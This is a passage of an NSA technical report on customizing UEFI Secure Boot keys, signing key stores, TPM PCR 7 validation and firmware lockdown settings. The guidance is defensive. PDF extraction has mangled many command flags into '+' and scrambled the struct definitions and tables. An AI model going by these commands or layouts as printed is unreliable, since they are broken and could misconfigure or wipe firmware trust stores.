2018-01-01-T01:01:01Z +CertificateFilePath KEK.crt +FormatWithCert +SignableFilePath KEK.esl ) +$PKobject = ( Format-SecureBootUEFI +Name PK +SignatureOwner 00000000-00000000-0000-000000000000 +Time 2018-01-01-T01:01:01Z +CertificateFilePath +PK.crt +FormatWithCert +SignableFilePath PK.esl ) +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +$dbhashobj = ( Format-SecureBootUEFI +Name db +SignatureOwner 000000000000-0000-0000-000000000000 +Time 2018-01-01-T01:01:01Z +ContentFilePath +helloworld.hsh +Algorithm sha256 +SignableFilePath dbhash.esl ) +PowerShell can also be used to convert ESL files into AUTH files. Only AUTH files can be used +to update Secure Boot values while enforcing signature checks. The PK can sign itself and +KEK(s). A KEK can sign DB data. Similar to Linux, a copy of the unsigned PK file is generated in +case Keytool needs to be executed. Keytool only accepts files with the AUTH extension when +setting the PK. First, convert OpenSSL keys to the PFX format if necessary: +openssl pkcs12 +export +in PK.crt +inkey PK.key +out PK.pfx +name "PK" +openssl pkcs12 +export +in KEK.crt +inkey KEK.key +out KEK.pfx +name "KEK" +openssl pkcs12 +export +in dsk1.crt +inkey dsk1.key +out dsk1.pfx +name +"dsk1" +Next, sign ESL files to create AUTH files: +signtool sign /fd sha256 /p7 .\ /p7co 1.2.840.113549.1.7.1 /p7ce db.auth /a +/f .\KEK.pfx /p password db.esl +signtool sign /fd sha256 /p7 .\ /p7co 1.2.840.113549.1.7.1 /p7ce +dbhash.auth /a /f .\KEK.pfx /p password dbhash.esl +signtool sign /fd sha256 /p7 .\ /p7co 1.2.840.113549.1.7.1 /p7ce KEK.auth +/a /f .\PK.pfx /p password KEK.esl +signtool sign /fd sha256 /p7 .\ /p7co 1.2.840.113549.1.7.1 /p7ce PK.auth /a +/f .\PK.pfx /p password PK.esl +cp PK.esl PKnoauth.auth +Loading data into Secure Boot must be done with the DB or DBX first, then the KEK, and finally +the PK. Once the PK is loaded, Secure Boot will restrict all four value stores to signed updatesonly and may automatically go into enforcing mode. Add the +AppendWrite flag when loading +the DSK or KEK to append values to the existing entries rather than overwriting existing values. +$dbobject | Set-SecurebootUEFI +$dbhash | Set-SecurebootUEFI -AppendWRite +$KEKobject | Set-SecurebootUEFI +$PKobject | Set-SecurebootUEFI +Alternatively, use the following commands to utilize AUTH files for signed updates ( AppendWrite may also be added to the following commands): +$dbobject | Set-SecurebootUEFI +SignedFilePath db.auth +$dbhash | Set-SecurebootUEFI +SignedFilePath dbhash.auth -AppendWrite +$KEKobject | Set-SecurebootUEFI +SignedFilePath KEK.auth +$PKobject | Set-SecurebootUEFI +SignedFilePath PK.auth +UEFI Configuration +UEFI Configuration implementations typically have some sort of toggle or mode setting that allows +Secure Boot customization. Some machines may have a state called Setup Mode that allows the +replacement or appending of new values. Setup Mode transitions to User Mode once +customization values are successfully loaded. Some implementations only offer User or Custom +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Mode + setup is implied if User/Custom is set while Secure Boot is disabled. +Image 3 shows the customization screen on a Dell OptiPlex 7050. Checking "Enable Custom +Mode" is required to replace or append values. Checking the box does not clear any data from +Secure Boot + only the "Replace from File" and "Delete" options clear data. Use the "Replace +from File" option to overwrite the existing PK, KEK, DB, or DBX values. Use the "Append from +File" option to add additional certificates and/or hashes to the factory-default Microsoft and Dell +values. Certificates in the DER format and SHA-256 hashes in the HSH format are accepted. +Images 3 + Screenshot from a Dell OptiPlex 7050. The Secure Boot Custom Policy configuration options are +shown along with the selections to append, replace, or remove data. +DER and HSH files should be placed on a thumb drive or within the /boot/efi directory for easy +access. Image 4 shows the file browser available through UEFI Configuration. The file browser +does not support all file systems (e.g. NTFS and EXT4 usually are not supported). +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Image 4 + Screenshot from a Dell Optiplex 7050 showing the file browser available within F2 UEFI +Configuration. +Keytool +Keytool has the ability to edit Secure Boot data stores. First select Edit; then select DB, DBX, +KEK, or PK (PK should be last). The edit screen will show a UUID for each value present. Some +UUIDs may be identical or zeros depending on how each was loaded. Use the Add New Key +option to append a new certificate or hash (ESL or AUTH format required). Use the Replace option +to swap existing UUID entries with new values. +Keytool may or may not have the ability to replace or delete the existing keys and start fresh +depending on UEFI implementation. Keytool is usually a reliable way to replace the PK even when +UEFI configuration or command line calls fail. Keytool is easiest to use when the custom Secure +Boot ESL and AUTH files are located in the same directory as the Keytool.efi file. Launching +Keytool may require setting it as a boot entry via UEFI configuration, efibootmgr in Linux, bcdedit +in Windows, or by launching it via UEFI Shell. See section 4.2.1 for more details. +Dell RACADM +First establish a secure remote connection to the target system. By default, RACADM appends +values to the Secure Boot data stores + overwriting is not performed. To delete all existing values, +use: +racadm bioscert delete -all +To selectively delete existing values, use the +t flag to specify data store (0 for PK, 1 for KEK, 2 +for DB, and 3 for DBX), optionally add the +k value for form factor (0 for certificate, 1 for hash), +and optionally add the +v flag (certificate thumbprint or hex hash) to remove a specific entry. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +racadm bioscert delete +t 0 +k 0 +v +To import new certificates and hashes, use the +t flag to specify data store and the +k flag for +form factor. Use the +f flag for filename. +racadm bioscert import +t 0 +k 0 +f PK.der +racadm bioscert import +t 1 +k 0 +f KEK.der +racadm bioscert import +t 2 +k 0 +f dsk1.der +racadm bioscert import +t 2 +k 1 +f hash.hsh +4.4 Updates and Changes +Updates and changes require repeating many of the steps found in the "4.3 Initial Provisioning of +Certificates and Hashes" section. Updates to the DB or DBX must be signed by a KEK. Updates +to a KEK must be signed by the PK. Unsigned updates or "noauth" updates are not permitted +while UEFI Secure Boot is in enforcing, user, or custom mode (vendors may use different +terminology). +4.4.1 Update the PK +First, identify the mechanism for loading the new PK. Remote console, UEFI configuration, and +Keytool typically permit PK replacement once Secure Boot has been temporarily disabled or +placed into Custom/Setup mode. Run-time scripting solutions and Keytool require the new PK to +be signed by the old PK when replacing the PK value while Secure Boot is active/enforcing, and +physical presence is usually required to confirm the change on next boot. +Continue by ensuring the new PK is in the proper format and state for the selected loading +method. Create a new RSA 2048 key pair and certificate unless a certificate has already been +provided for use. Have a CA sign the certificate, if required, before use. For UEFI configuration +and scripting solutions, ensure that the certificate is in DER/CER format and convert if necessary. +For Keytool and console commands, create an ESL file, unsigned "noauth" file based on the ESL, +self-signed AUTH file, or AUTH file signed by the currently loaded PK which will be replaced. +Finally, validate that Secure Boot is enabled and query the UEFI variable representing the new +PK. Verify that the new PK is utilized. +4.4.2 Update a KEK +First, identify the mechanism for loading the new KEK. Remote console, scripting, UEFI +configuration, and Keytool are all possible solutions. Remote console, UEFI configuration, and +Keytool usually allow unsigned KEK changes while Secure Boot is disabled. Remote console and +UEFI configuration usually allow unsigned KEK changes while Secure Boot is in Custom/User +mode. Run-time scripting solutions and Keytool require each KEK update ESL to be signed by +the PK while Secure Boot is active/enforcing. The existing KEKs may optionally be preserved +when loading the new KEK. +Continue by ensuring the new KEK is in the proper format and state. Create a new RSA 2048 key +pair and certificate unless a certificate has already been provided for use. Have a CA sign the +certificate, if required, before use. For UEFI configuration and scripting solutions, ensure that the +certificate is in DER/CER format and convert if necessary. For Keytool and console commands, +create an ESL file and, if available, a PK-signed AUTH file. +Finally, validate that Secure Boot is enabled and query the UEFI variable representing the new +KEK. Consider testing the new KEK by signing DB and/or DBX changes following the instructions +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +in the next section. +4.4.3 Update the DB or DBX +First, identify the mechanism for loading the new DB or DBX value. Remote console, scripting, +UEFI configuration, and Keytool are all possible solutions. DB updates can take the form of +certificates, SHA-256 hashes, or ESL/AUTH files. DB updates that are signed by a KEK are +permissible at all times. Unsigned updates can be accomplished via UEFI Configuration and +remote console tools. +Continue by ensuring that the new DB entry is in the correct format. For a certificate, create a new +RSA 2048 key pair and certificate unless a new certificate has already been provided for use. +Convert to DER/CER format if in PEM/CRT format. Place the certificate in an ESL file and sign it +with a KEK for the endpoint receiving the update. +For a hash, validate that the SHA-256 format is correct. Convert the hash file into an ESL file. +Have the private key of a KEK sign the ESL file to convert the ESL into an AUTH file. +4.4.4 Update MOK or MOKX +Changes to MOK and MOKX require the use of mok-manager (mmx64.efi), mok-util (mok-util.efi), +or Keytool (keytool.efi). Keys and hashes used are identical to those stored in the DB and DBX. +However, MOK tools require data to be provided in only ESL or AUTH format. Section 4.3.4 +provides instructions for interacting with Keytool. +4.5 Validation +UEFI Messages +UEFI error messages are normally printed to the primary display adapter and logged in the UEFI +and OS event logs. Remote management tools, such as Dell iDRAC and HP iLO, also register +UEFI events in a Baseband Management Controller (BMC) log. Some systems provide only error +messages while other systems may also provide success messages. An absence of error +messages, Secure Boot enabled in custom mode, and successful boot may indicate a valid +launch. However, administrators should double-check that the signatures on bootable binaries +match trusted certificates. Unintentionally leaving MOK or the Windows Production CA certificates +in place is a common implementation oversight that looks like a success. Untrusted code may +also be skipped, without an error message, hiding a potential problem. +Linux +Use dmesg to determine if Secure Boot is enabled, enforcing, and what values are in use. The +first command below will show only Secure Boot status. A status of "could not be determined" +means that Secure Boot is not operating. The second command will return summary information +about value stores, certificates, and hashes detected during boot (value stores can be read +without Secure Boot being in an enforcing mode). Both commands may be run with user +permissions. +dmesg | grep +i "secure boot" +dmesg | grep +i uefi +More specific information can be gathered via using efi-readvar. In particular, watch for the +presence of unintended certificates in the DB or MOK. Use the -v and -s options to select a specific +variable type and entry: +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +efi-readvar +efi-readvar +v db +Finally, mokutil can be queried to check Secure Boot enforcement status by using the following +command: +mokutil --sb-status +PowerShell +PowerShell has a straightforward way to verify that Secure Boot is enabled, loaded with keys, +and enforcing. The following command will return True when Secure Boot is not disabled, has a +PK, and bootable binaries passed signature checks. +Confirm-SecureBootUEFI +Dell RACADM +Use the following command: +racadm get BIOS.SysSecurity.SecureBoot +A result of "enabled" or 1 indicates that Secure Boot is successfully provisioned and enforcing on +the queried endpoint. +5. Advanced Customizations +Secure Boot is designed to complement many existing security solutions. Technologies such as +security chips, boot image protection, memory protections, side channel mitigations, virtualization, +malware scanners, and similar can operate alongside Secure Boot. This section focuses on a pair +of boot security solutions that may seem redundant with Secure Boot. However, proper +implementation can provide a defense-in-depth security solution. +5.1 Trusted Platform Module (TPM) +Trusted Platform Module (TPM) may be leveraged to validate the integrity of UEFI Secure Boot. +TPM Platform Configuration Register (PCR) 7 captures integrity measurement events that +summarize the PK, KEK, DB, and DBX. Use the values contained within the PK, KEK, DB, and +DBX to calculate what PCR 7 should be, and compare the calculated value to the value reported +at run time. +Note that Shim extends MOK, MOKX, GRUB, and kernel measurements into PCR 7. Be sure to +include these extensions when calculating PCR 7. Remember that MOK is similar to the DB while +MOKX is similar to the DBX. +A TPM Quote Digest is a summary of PCR values. A PCR is a digest/summary of individual +measurement events. A measurement event contains the Event Digest which, in the case of PCR +7, is the summary/hash of an individual UEFI variable. +Figure 6 -shows the relationship between TPM Quote, PCR, and Event/Measurement. TPM +Quotes, PCRs, and measurement events are made up of a series of one-way SHA hashes. +Knowing the data used to create a measurement event allows administrators/developers to wrap +the data in the appropriate structures and calculate the measurement event. Knowing all the +measurement events for a specific PCR allows an administrator/developer to calculate the PCR. +Knowing all the PCR values allows an administrator/developer to calculate a Quote. The reverse +direction is not possible due to the one-way nature of SHA hashes and TPM extensions. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +TPM PCR Hash Relationships +Quote +Digest +PCR 0 +Event +Event +PCR 1 +[...] +Event +Event +Event +[...] +[...] +Event +PCR n +Event +Event +[...] +Event +Figure 6 - The relationship between Quote, PCR, and Event/Measurement. +To calculate PCR 7 when Secure Boot values are known, consult the TCG EFI Platform +Specification (TCG 2014; Section 7.1). Each TPM event log record contains the following +information found in section 7.1: +typedef struct{ +TCG_PCRINDEX +TCG_EVENTTYPE +TCG_DIGEST +UINT32 +UINT8 +PCRindex; +EventType; +Digest; +//Event measurement +//Hash of EFI_VARIABLE_DATA +EventSize; +Event[1]; //EFI_VARIABLE_DATA +} TCG_PCR_EVENT; +The measurement information used to extend PCRs is captured in the TCG_PCR_EVENT +TCG_DIGEST object as defined in the UEFI Specification (TCG 2014; Section 7.8). The Digest will +be a SHA-1 hash in the case of TPM 1.x. In the case of TPM 2.x TCG_PCR_EVENT records for +SHA-1, SHA-256, SHA-384, SHA-512, and/or other hash algorithms will be recorded since TPM +2.x supports multiple collections of PCRs at different hash strengths (TPM 2.x is +Crypto Agile +with a wide variety of implementations possible). +The Digest values are not hashes of raw data, defined as individual certificates and hashes, +present in the DB, DBX, KEK, and PK. Digest values are hashes of the raw data wrapped in EFI +metadata. In other words: Secure Boot data records, such as a DB hash or a KEK certificate, are +placed in an EFI_SIGNATURE_DATA structure that is a component of the EFI_VARIABLE_DATA +structure. EFI_VARIABLE_DATA is the structure that is hashed to form a TCG_DIGEST +measurement which is extended to a PCR. +Each Digest value is the hash of an EFI_VARIABLE_DATA structure. EFI_VARIABLE_DATA is +defined by UEFI Forum +s UEFI Specification (UEFI Forum 2017; Section 31.4). For each Secure +Boot entry in the PK, KEK, DB, and DBX, hash the following structure to determine the +measurement data used to extend a PCR: +typdef struct{ +EFI_GUID +UINT8 +UINT8 +SignatureData[] +VariableName; +//see table below +UnicodeNameLength; //db, PK = 2; dbx, KEK = 3 +VariableDataLength; //SignatureOwner + +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +CHAR16 +unicode chars +UINT8 +Unicodename[]; +//db, dbx, KEK, PK in +VariableData[]; +//EFI_SIGNATURE_DATA +} EFI_VARIABLE_DATA +EFI_GUID values are also defined by the UEFI Forum standards body (UEFI Forum 2017; Section +7.3). EFI_GUID values used to describe TPM events are similar to the ones found in ESL files. +Table 2 shows the GUIDs that are likely to be observed. +EFI_GUID +Value +DB and DBX records identified as +EFI_IMAGE_SECURITY_DATABASE_GUID +0x719B2CB, 0x93CA, 0x11D2, 0Xaa, 0x0D, 0x00, 0xE0, +0x98, 0x03, 0x2B, 0x8C +PK and KEK records identified as +EFI_GLOBAL_VARIABLE +0x8BE4DF61, 0x93CA, 0x11D2, 0xAA, 0x0D, 0x00, +0xE0, 0x98, 0x03, 0x2B, 0x8C +Table 2 + EFI GUIDs observed with TPM events. +The UINT8 VariableData array contains the structure EFI_SIGNATURE_DATA. The entire +certificate or hash binary blob contributing to a given PCR event/measurement is stored in the +SignatureData array. +typdef struct{ +EFI_GUID +UINT8 +SignatureOwner; +SignatureData[]; //certificate or hash raw data +} EFI_SIGNATURE_DATA +5.2 Trusted Bootloader +Trusted bootloaders use both UEFI Secure Boot and TPM. Secure Boot performs an active boottime signature enforcement role while TPM records the state of the machine during UEFI +initialization + that is to say TPM provides a check on Secure Boot's state. Examples of trusted +bootloaders include Trusted Shim (TPM-extended Shim), Trusted GRUB, Trusted Boot (TBoot), +TPM-rEFInd, newer Windows bootloaders, and similar boot-time security solutions. Some trusted +bootloaders can be provided a "check file" or "configuration file" that includes TPM PCR hashes. +The bootloader and supporting check/configuration file may also be signed by a key recognized +by Secure Boot. +The TPM PCR values queried at boot time may differ from those reported from within the +operating system. Bootloaders typically do not extend PCRs 0-3. Shim is known to extend PCR +Always validate the signatures present on a bootloader. Bootloaders typically have a signature +from the OS vendor or Microsoft which are typically intended for use with Secure Boot in the +default, system vendor-provided state. When customizing Secure Boot, always ensure that +specific bootloaders work as intended. Developing the Secure Boot customization guidance in +this document revealed a common mistake of accidentally leaving a DB or MOK certificate behind +resulting in trusting more hardware and software objects than intended at boot time. +Some bootloaders are incorporated into Full Disk Encryption (FDE) solutions and wrap a +decryption key with a specific set of TPM PCR values. Ensure that PCR 7 is one of the PCRs in +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +the selection mask. A PCR-wrapped secret will only be revealed when PCR 7 is in the correct +state thus providing confidence in the integrity of Secure Boot values corresponding to a specific +PCR 7 value. +6 References +6.1 Cited Resources +Golden, Barry. "Windows UEFI firmware update platform." Windows Documents, Microsoft +Corporation, 20 Apr. 2017, https://docs.microsoft.com/en-us/windowshardware/drivers/bringup/window-uefi-firmware-update-platform +Mendelsohn, Tom. "Secure Boot snafu: Microsoft leaks backdoor key, firmware flung wide +open." Ars Technica, Conde Nast, 11 Aug. 2016, https://arstechnica.com/informationtechnology/2016/08/microsoft-secure-boot-firmware-snafu-leaks-golden-key +Schlej, Nikolaj. Twitter. 27 Sep. 2018. +https://twitter.com/NikolajSchlej/status/1045359752077660161 +Shilov, Anton. "Intel to Remove Legacy BIOS Support from UEFI by 2020." AnandTech, Future +PLC, 22 Nov. 2017, https://www.anandtech.com/show/12068/intel-to-remove-bios-support-fromuefi-by-2020 +Trusted Computing Group (TCG). "TCG EFI Platform Specification For TPM Family 1.1 or 1.2." +TCG Published Specifications. 27 Jan. 2014, https://trustedcomputinggroup.org/wpcontent/uploads/TCG_EFI_Platform_1_22_Final_-v15.pdf +UEFI Forum. "Unified Extensible Firmware Interface Specification." UEFI Forum Published +Specifications. May 2017, https://uefi.org/sites/default/files/resources/UEFI_Spec_2_7.pdf +6.2 Command References +Bottomley, James. "UEFI Secure Boot." James Bottomley +s random Pages. 8 Jul. 2012. +https://blog.hansenpartnership.com/uefi-secure-boot +Murphy, Finnbarr. "List EFI Configuration Table Entries." Musings of an OS plumber. 24 Oct. +2015. https://blog.fpmurphy.com/2015/10/list-efi-configuration-table-entries.html +Sakaki. "Sakaki +s EFI Install Guide/Configuring Secure Boot." Gentoo Wiki, Gentoo Linux. 29 +Aug. 2017. https://wiki.gentoo.org/wiki/Sakaki +s_EFI_Install_Guide/Configuring_Secure_Boot +6.3 Uncited Related Resources +Hucktech. Firmware Security. 28 Jan. 2019. https://firmwaresecurity.com +NSA analysts, researchers, and contractors who contributed to pilots of customized Secure +Boot. See https://www.github.com/nsacyber/Hardware-and-Firmware-SecurityGuidance/tree/master/secureboot for more resources, scripts, and solutions. +Partners, vendors, and support personnel who provided information and produce improvements. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +7 Appendix +7.1 UEFI Lockdown Configuration +Option +Admin password +Recommended +Setting +Boot mode +Boot sequence +C states / S3 sleep +Comment +UEFI administrative control options access +UEFI +Use UEFI boot mode instead of Legacy, CSM, or +BIOS +OS drive first. Disable devices not used for boot +Enable +CPU energy-saving features +Chassis intrusion +Log case-opening events +Computrace +Anti-theft solution on some machines +CPU XD support +Enable +Execute-disable bit feature +eSATA port +Disable +Enable if external SATA ports are used +ExpressCard +Disable +Enable if required by expansion device +Extended Page Tables / EPT +Enable +Intel-only. Equivalent to RVI +External USB ports +Disable unused ports +Fan control +Auto +Customizable cooling fan thresholds/levels +Fastboot +Auto +Shortens some device self-check routines +Free-fall protection +Relevant to spinning platter hard drives +HyperThread / SMT +Enable +Integrated NIC +Enable +Internal modem +Disable +Keyboard backlight +Legacy OROMs +Disable +Optimus / Dynamic graphics +OROM keyboard access +Enable +Laptops with hot-swap bays; Controls disc media +device +Controls energy use, heat, and performance of +Disable +Do not allow non-admins to alter system config +Enable +Only allow admins into UEFI config +Enable/Auto +Energy-saving graphics switching +Disable +Overclocking +Parallel Port +Disable unless required by expansion devices +(video card, storage controller, etc.) +Defer to organizational policies +Multi-core support +Non-admin password +changes +Non-admin user setup +lockout +Enable if required for legacy network +May have levels of brightness +Microphone +Module bay +CPU scheduling optimizer +Enable PXE if required by organization; Disable if +not used +Only enable for administrators +Increase CPU performance above factory limits +Disable +Enable if required for legacy device +Password bypass +Defer to organizational policies +Password configuration +Defer to organizational policies +Rapid start +Accelerated boot from slow storage drives +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Option +Recommended +Setting +Rapid virtualization indexing +/ RVI +Enable +AMD-only. Equivalent to EPT +SATA Operation +AHCI +Enable RAID or IRST (Intel Rapid Storage +Technology) if appropriate +SATA password +Not set +Stops boot drive access. Interrupts updates +SATA ports +Connected only +Comment +Disable SATA ports not in use +Secure Boot custom mode +Disable +Enable custom if using custom key chain +Serial Port +Disable +Enable if required for legacy device +SMART Reporting +Enable +Storage drive error reporting mechanism +SmartCard +Storage drive error reporting function +SpeedStep / CPU power +states +Enable +CPU energy-saving features +Storage OROM access +Disable +Only enable for administrators +Strong passwords +Enable +Applies password complexity requirements to +UEFI configuration accounts +System password +Not set +Stops system boot process. Interrupts updates +Tagged TLB +Enable +TPM ACPI support +TPM PPI deprovision +override +Enable +Controls loading of measurements during boot +Enable +Allows OS to clear and re-enable TPM +TPM PPI provision override +Enable +Allows OS to activate TPM +TPM security +Enable and +Activate +Send power and I/O to the TPM +Windows: used when Trusted eXecution Engine +(TXE) is installed. Linux and hypervisors: install +TBoot and follow directions. Provision with TXT +disabled. Enabling TXT locks NVRAM +Trusted execution / TXT +TurboBoost / TurboCore +Enable +UEFI Network Stack +Enable +UEFI Secure Boot +Enable +Unobtrusive mode +CPU performance boost feature +Enable if PXE or image servers are used by +organization; Disable if not used +Use in conjunction with supporting OS and/or +hypervisor +Disables or dims system indicator lights +USB Boot Support +Disable +Allows USB devices to boot; May be needed by +some developers +USB power share +Disable +Charges devices through USB power +USB wake support +Allow USB devices to wake computer on action +User password +UEFI user boot configuration options access +Video adapter +Auto +Switches between integrated and discrete +graphics if present +Virtualization / VT-x / VPro +Enable +Virtualization extensions for hypervisors +VT-d / Virt directed I/O +Enable +Hypervisor performance optimization +Wake on AC +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +Influences boot behavior after power loss +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Option +Recommended +Setting +Comment +Allows monitoring of network traffic for wake +commands +Wake on LAN +Webcam +Wireless switch changes +Defer to organizational wireless access policy +WLAN +Wireless network toggle +WWAN +Cellular network toggle +XMP memory profiles +High-performance RAM profiles +7.2 Acronyms +Acronym +Meaning +ACPI +Advanced Configuration and Power Interface +Microsoft corporation product Active Directory +AHCI +Advanced Host Controller Interface +Microprocessor company named Advanced Micro Devices +Microprocessor company formerly known as Advanced RISC Machine +Boot Device Select UEFI boot phase +BIOS +Basic Input/Output System +Baseband Management Controller +Certificate Authority +Central Processing Unit +CRTM +Core Root of Trust for Measurement starts system integrity hashing chain +Compatibility Support Module providing some BIOS functions omitted from UEFI +Secure Boot Allow list Database +Database Key used with Secure Boot databases +Secure Boot Deny list Database +US government Department of Defense +Disk Operating System +Driver Execution Environment UEFI boot phase +Extensible Firmware Interface + the foundation which UEFI is built upon. Originally +created by Intel corporation as a proprietary solution. Binaries designed to run in the +UEFI environment may also be called EFI binaries as opposed to UEFI binaries +Extended Page Tables Intel corporation equivalent to RVI +eSATA +External Serial Advanced Technology Attachment +FIPS +Federal Information Processing Standard +GNOME +Linux desktop user environment +GUID Partitioning Table +GRUB +Linux boot loader +Graphical User Interface +Hard Disk Drive +Input/Output +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Acronym +Meaning +Integrity Measurement Architecture provides runtime TPM hashing +IRST +Intel corporation Rapid Storage Technology for attached storage disks +Information Technology (department or device) +Secure Boot Key Exchange Key +Local Area Network connection +Launch Control Policy used by TBoot +LDAP +Lightweight Directory Access Protocol is Linux equivalent to Microsoft AD +LUKS +Linux Unified Key Setup used for drive encryption +Master Boot Record partition scheme +MBR2GPT +Utility to convert from MBR disks to GPT disks +Machine Owner Key used for Linux extension of Secure Boot +Network Interface Controller +NVRAM +Non-Volatile Random-Access Memory storage space on TPMs +OROMs +Option Read-Only Memory firmware configuration branching mechanism +Operating System such as Microsoft Windows or Red Hat Linux +Personal Computer +Platform Configuration Register used by TPM to store hashes of integrity hashes +Pre-EFI Initialization phase for UEFI boot +Secure Boot Platform Key +Physical Presence Interface +RAID +Redundant Array of Independent Disks +Random-Access Memory +rEFInd +UEFI Boot Loader +RHEL +Red Hat Enterprise Linux operating system +RISC +Reduced Instruction Set Computer +Read-Only Memory +Ron Rivest, Adi Shamir, and Leonard Adleman cryptosystem algorithms +Rapid Virtualization Indexing AMD corporation equivalent to EPT +Sleep state 3 shuts down power to most PC components except RAM +SATA +Serial Advanced Technology Attachment +Security phase of UEFI boot +Secure Hashing Algorithm +Symmetric Multithreading for multiple CPU cores, threads, paths +TBoot +Trusted Boot open source Intel mechanism +Translation Look-aside Buffer memory management accelerator +Trusted Platform Module security chip +Trusted Execution Environment restricted kernel memory space +Intel corporation Trusted Execution Technology +UEFI +Unified Extensible Firmware Interface that is a derivative from the proprietary EFI +solution created by Intel corporation. Governed by an industry consortium called the +UEFI Forum +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Acronym +Meaning +Universal Serial Bus connects peripheral devices +Volume Management Key for Microsoft Bitlocker +VPRO +Intel corporation branding for devices supporting multiple virtualization enhancements +and TBoot +Virtual Secure Mode suite of device-hardening features in Microsoft Windows +VT-d +Virtualization Technology for Directed I/O +WLAN +Wireless Local Area Network +WLAN +Wireless Local Area Network +WWAN +Wireless Wide Area Network normally indicates presence of cellular adapter +Execute Disable bit allows CPU to disable execution in memory spaces +Extreme Memory Profile used for controlling RAM timing +7.3 Frequently Asked Questions (FAQ) +Does Secure Boot customization require replacing the PK and KEK? +No. Secure Boot customization can be partial in implementation. Customizers may add/append +additional records to the DB, DBX, or KEK without clearing or replacing existing values. Likewise, +customizers may remove individual records from the DB, DBX, or KEK rather than completely +clearing each value store. +What is the difference between the Microsoft Windows Production CA and UEFI Third Party +Marketplace CA DB certificates? +The Microsoft Windows Production CA signs all things specific to the Windows operating system +environment. The Windows boot manager, kernel, and drivers are commonly validated by the +Production CA cert. The UEFI Third Party Marketplace CA signs content not related to Windows +such as storage controller firmware, graphics card firmware, UEFI driver modules, and Linux +bootloaders. +How do I make a driver compatible with Secure Boot? +Many Linux anti-malware solutions include drivers that do not have Secure Boot signatures. To +solve the problem, do not disable Secure Boot. Instead, create an RSA 2048 public key certificate. +Use the corresponding private key to sign the driver using sbsigntool, pesign, or similar. Switch +to Secure Boot custom/user mode in the UEFI configuration, and then append the custom +certificate into the machine's DB using UEFI configuration, Keytool, or similar. Do not make +changes to the PK, KEK, or DBX. The driver should be validated by the custom certificate +following the next boot. Remember to sign updates to the driver before distributing to endpoints. +How do I revoke a threat like BlackLotus or BootHole or similar signed EFI executable? +Revoking signed EFI executables requires updating the DBX. If system and OS vendors are +unable to provide DBX updates, then the customer may need to produce their own. Follow these +steps: +1. Identify specific EFI binaries that need to be revoked. +2. Calculate hashes for the EFI binaries. Note that tools aware of Portable Executable +(PE/EFL) format must be used. A sha256sum or OpenSSL digest hash of an entire binary +will result in the wrong hash. Only executable portions of the binary are hashed for +inclusion into the DB/DBX. See section 4.3.3. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +3. If your BIOS, UEFI configuration, or remote management tool accepts hashes, then submit +them. +4. If hash files were not sufficient, then create ESL files. Try to load the ESL files. +5. If the ESL files are rejected, it +s likely due to a lack of signature. Follow instructions in +section 4.3.1 to create a key and certificate used when signing ESL files. This new +certificate may need to be loaded to the DB or as the PK. +6. Use the new certificate and key to sign ESL files into AUTH files. +7. Install the new hashes and possibly the new certificate following instructions in section +4.3.4. +How do I revoke signatures? +First, determine which certificate is responsible for validating a revoked signature. UEFI Secure +Boot has limited space available + the amount varies based on make and model of device. If a +large number of signatures are to be revoked, consider migrating to a new certificate and placing +the old one in the DBX. If a manageable number of signatures are to be revoked, create a list of +SHA-256 hashes corresponding with each binary to be revoked. Compile the hashes into an ESL +file. Use Keytool to load the ESL file into the DBX at boot time. +Does UEFI Secure Boot understand Certificate Revocation Lists (CRL)? +No. Most UEFI implementations lack the memory space and processing power needed to +navigate the internet and parse CRL information. Revocations and certificate chains are ignored +by Secure Boot. Software and system vendors usually provide DBX patches to handle revocation +actions. +My endpoint won't accept a new KEK, DB, or DBX entry. What should I do? +First, check the firmware version of the endpoint to determine if an update is available. Individual +firmware releases can contain bugs to the Secure Boot customization implementation. Next, +check to see if there are known limitations to a specific make and model of endpoint. You may +need to reach out to the system vendor if a firmware update does not resolve the problem and +firmware storage capacity is not an issue. +Where is MOK and MOKX? +Machine Owner Key (MOK) and MOK Exclusion (MOKX) are extensions of UEFI Secure Boot. +The bootloader Shim is responsible for setting up MOK and MOKX. Shim is usually found on +Linux systems and not found on Windows systems. MOK and MOKX do not exert any +enforcement action until the Bootloader Phase of UEFI Boot (i.e. boot devices, OROMs, and +firmware modules are not checked against MOK and MOKX). +Shim features a signature from Microsoft and embedded MOK certificate from a Linux distribution +or power user. Shim and MOK allow the open source software community to realize the +advantages of Secure Boot without needing to seek Microsoft review/approval for every +bootloader, kernel, and module. Microsoft signs Shim, Shim sets up MOK, MOK validates the +second bootloader (commonly GRUB), MOK validates the Linux kernel, and MOK validates kernel +modules. Most computing products 